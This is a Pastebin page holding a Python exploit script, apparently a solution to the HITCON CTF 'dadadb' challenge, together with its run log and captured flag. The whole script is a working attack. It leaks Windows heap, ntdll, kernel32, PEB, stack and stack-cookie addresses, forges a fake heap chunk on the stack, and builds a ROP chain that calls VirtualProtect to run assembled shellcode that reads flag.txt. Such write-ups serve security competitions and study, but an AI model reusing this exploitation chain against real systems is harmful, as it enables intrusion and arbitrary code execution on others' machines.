Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- # -*- coding: utf-8 -*-
- import struct, socket, sys, os, telnetlib, hexdump
- #################################################################################
- def sock(host, port):
- s = socket.create_connection((host, port))
- return s, s.makefile('rw', bufsize=0)
- def read_until(f, delim='\n'):
- data = ''
- while not data.endswith(delim): data += f.read(1)
- return data
- def shell(s):
- t = telnetlib.Telnet()
- t.sock = s
- t.interact()
- def p(a): return struct.pack("<I",a&0xffffffff)
- def u(a): return struct.unpack("<I",a)[0]
- def pQ(a): return struct.pack("<Q",a&0xffffffffffffffff)
- def uQ(a): return struct.unpack("<Q",a)[0]
- def dbg(ss):
- cs, ce = '\x1b[1;37m', '\x1b[00m' # White
- print(cs + "[+] %s: 0x%x"%(ss, eval(ss)) + ce)
- def make_asm(asm):
- open("sc.asm", "wb").write(asm)
- r = os.system("nasm -f bin sc.asm -o sc.bin -l sc.lst")
- if r != 0: exit()
- return open("sc.bin","rb").read()
- def xxd(data):
- hexdump.hexdump(data)
- #################################################################################
- def menu():
- r = read_until(f, ">> ")
- #print [r]
- return r
- def login():
- f.write("1\n")
- read_until(f, "User:")
- f.write("orange\n")
- read_until(f, "Password:")
- f.write("godlike\n")
- return menu()
- def add(key, size, content, skip=False):
- assert size < 0x1000
- f.write("1\n")
- read_until(f, "Key:")
- f.write(("%s\n" % key)[:0x40])
- read_until(f, "Size:")
- f.write("%d\n" % size)
- read_until(f, "Data:")
- f.write("%s\n" % content)
- if skip:
- return
- return menu()
- def show(key, skip=False):
- f.write("2\n")
- read_until(f, "Key:")
- f.write("%s\n" % key)
- if not skip:
- read_until(f, "Data:")
- return menu()
- def delete(key):
- f.write("3\n")
- read_until(f, "Key:")
- f.write("%s\n" % key)
- return menu()
- #################################################################################
- if sys.argv[1] == 'r':
- HOST, PORT = "13.230.51.176", 4869
- STACK_START_OFS = 0x2000 # some brute force
- else:
- HOST, PORT = "192.168.164.130", 4869
- STACK_START_OFS = 0x4000
- ofs_virtual_protect = 0x1B680
- ofs_pop_rcx = 0x9217b #: pop rcx ; ret ; (4 found)
- ofs_pop_rdx = 0x8fb37 #: pop rdx ; pop r11 ; ret ; (1 found)
- ofs_pop_r8 = 0x2010b #: pop r8 ; ret ; (1 found)
- ofs_pop_r9 = 0x8fb34 #: pop r9 ; pop r10 ; pop r11 ; ret ; (1 found)
- ofs_pop_rax = 0x2010c #: pop rax ; ret ; (38 found)
- ofs_jmp_rax = 0x04c8b #: jmp rax ; (17 found)
- #################################################################################
- s, f = sock(HOST, PORT)
- login()
- tag = pQ(0)
- print "[+] setup"
- add("Aa", 0x400, "A"*0x2f) # create
- add("Aa", 0x10, "A"*0xf) # re-create
- add(tag, 0x20, "z"*0xf) # victim
- print "[+] first leak"
- leak_data = show("Aa")
- leak = uQ(leak_data[0x20:0x28])
- dbg("leak")
- heap = leak - 0x960
- dbg("heap")
- print "[+] leak dll, pie, peb, and stack"
- def leak(addr, size=0x20, leak_data=leak_data):
- forge = leak_data[:0x20] + pQ(addr) + pQ(size) + leak_data[0x30:]
- add("Aa", 0x10, forge)
- r = show(tag)
- return uQ(r[:8]), r
- ntdll = leak(heap + 0x2c0)[0] - 0x163d10
- ntdll &= ~0xfff
- dbg("ntdll")
- assert leak(ntdll)[1].startswith("MZ") # debug
- dadadb = leak(ntdll + 0x15f000 + 0x62c8)[0] - 0xf8
- dbg("dadadb")
- assert leak(dadadb)[1].startswith("MZ") # debug
- cookie = leak(dadadb + 0x5008)[0]
- dbg("cookie")
- kernel32 = leak(ntdll + 0x15f000 + 0x6fd8)[0] - 0x3d8d0
- kernel32 &= ~0xfff
- dbg("kernel32")
- assert leak(kernel32)[1].startswith("MZ") # debug
- encoding = leak(heap + 0x88)[0]
- dbg("encoding")
- peb = leak(ntdll + 0x165308)[0] - 0x80
- dbg("peb")
- ucrtbase = leak(ntdll + 0x178548)[0]
- dbg("ucrtbase")
- assert leak(ucrtbase)[1].startswith("MZ") # debug
- stackbase = leak(peb + 0x1010)[0]
- dbg("stackbase")
- r = leak(stackbase + STACK_START_OFS, 0x1000)[1]
- while not "e\0x\0e\0" in r :
- r += menu()
- menu()
- stack = stackbase + STACK_START_OFS + len(r) + 0x102
- dbg("stack")
- print "[+] fix addr"
- leak(heap + 0x960) # for fix to delete
- leak_data = show("Aa")
- print "[+] forge next and delete prev"
- def forge_next(addr, leak_data=leak_data):
- forge = leak_data[:0x20+0x58] + pQ(addr) + leak_data[0x20+0x58+8:]
- add("Aa", 0x10, forge)
- forge_next(stack)
- delete(tag)
- print "[+] create shellcode to heap"
- shellcode = make_asm("""
- BITS 64
- global _start
- _start:
- open:
- mov r15, %#x
- lea rcx, [r15 + 0x5668] ; file_fd
- lea rdx, [rel FILENAME] ; filename
- lea r8, [rel PERMISSION] ; perm
- lea rax, [r15 + 0x31A8]
- call [rax]
- read:
- lea rcx, [r15 + 0x5f00] ; buffer
- mov rdx, 0x100 ; size
- mov r8, 0x1 ; count
- lea rax, [r15 + 0x5668]
- mov r9, [rax] ; file_fd
- lea rax, [r15 + 0x3208]
- call [rax]
- puts:
- lea rcx, [r15 + 0x5f00] ; buffer
- lea rax, [r15 + 0x31d0]
- call [rax]
- LOOP:
- jmp LOOP
- FILENAME: db "flag.txt", 0
- PERMISSION: db "r", 0
- """ % (dadadb))
- #xxd(shellcode)
- add("hogehoge", 0x100, shellcode)
- shellcode_addr = heap + 0x960
- print "[+] forge note on to stack"
- fake_note = pQ(stack - 0x270) + pQ(0x300)
- #xxd(fake_note)
- show(fake_note, skip=True)
- print "[+] create fake heap on to stack "
- def create_heap_header(size, prev_size):
- busy=1
- unused=0x10
- size = size/0x10
- prev_size = prev_size/0x10
- raw = size | (busy<<16) | (((size&0xff)^((size>>8)&0xff)^busy)<<24) | (prev_size<<32) | (unused<<56)
- return encoding ^ raw
- fake_chunk = tag + pQ(create_heap_header(0x10, 0x10))
- fake_chunk += pQ(0) + pQ(create_heap_header(0x20, 0x10))
- fake_chunk += pQ(0) + pQ(0)
- fake_chunk += pQ(0) + pQ(create_heap_header(0x10, 0x20))
- #xxd(fake_chunk)
- rsp = stack - 0x2e0
- virtual_protect = kernel32 + ofs_virtual_protect
- pop_rcx = ntdll + ofs_pop_rcx
- pop_rdx = ntdll + ofs_pop_rdx
- pop_r8 = ntdll + ofs_pop_r8
- pop_r9 = ntdll + ofs_pop_r9
- pop_rax = ntdll + ofs_pop_rax
- jmp_rax = ntdll + ofs_jmp_rax
- rop = pQ(pop_rcx)
- rop += pQ(heap) # lpAddress
- rop += pQ(pop_rdx)
- rop += pQ(0x2000) # dwSize
- rop += pQ(0xdeadbeef)
- rop += pQ(pop_r8)
- rop += pQ(0x40) # flNewProtect (PAGE_EXECUTE_READWRITE)
- rop += pQ(pop_r9)
- rop += pQ(heap) # lpflOldProtect
- rop += pQ(0xdeadbeef)
- rop += pQ(0xdeadbeef)
- rop += pQ(pop_rax)
- rop += pQ(virtual_protect)
- rop += pQ(jmp_rax)
- rop += pQ(shellcode_addr)
- #xxd(rop)
- add(fake_chunk, 0x10, "Z"*0xe0 + pQ(rsp^cookie) + pQ(0)*4 + rop, skip=True)
- print "[+] shell"
- shell(s)
- """
- [+] setup
- [+] first leak
- [+] leak: 0x2114b5e0960
- [+] heap: 0x2114b5e0000
- [+] leak dll, pie, peb, and stack
- [+] ntdll: 0x7ff94e160000
- [+] dadadb: 0x7ff7de140000
- [+] cookie: 0x5e6f3b24ab69
- [+] kernel32: 0x7ff94e010000
- [+] encoding: 0x661ce85fa323
- [+] peb: 0x9440c1e000
- [+] ucrtbase: 0x7ff94b280000
- [+] stackbase: 0x9440b9d000
- [+] stack: 0x9440b9f980
- [+] fix addr
- [+] forge next and delete prev
- [+] create shellcode to heap
- [+] forge note on to stack
- [+] create fake heap on to stack
- [+] shell
- Done!
- hitcon{Oh_U_got_the_Exc4libur_in_ddaa-s_HEAP}
- Try to learn breath of shadow to kill demon !
- """
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement